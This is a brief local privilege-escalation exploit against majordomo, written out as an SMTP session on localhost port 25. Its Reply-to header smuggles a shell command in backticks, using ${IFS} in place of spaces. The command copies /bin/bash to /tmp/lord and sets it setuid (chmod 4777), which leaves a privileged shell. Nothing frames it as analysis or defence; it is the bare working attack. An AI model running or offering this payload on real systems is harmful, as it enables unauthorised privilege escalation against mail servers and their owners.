Local exploit:

   telnet localhost 25

   helo localhost
   mail from: user
   rcpt to: majordomo (or whatever the name of the majordomo user is)
   data
   From: user
   To: majordomo
   Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro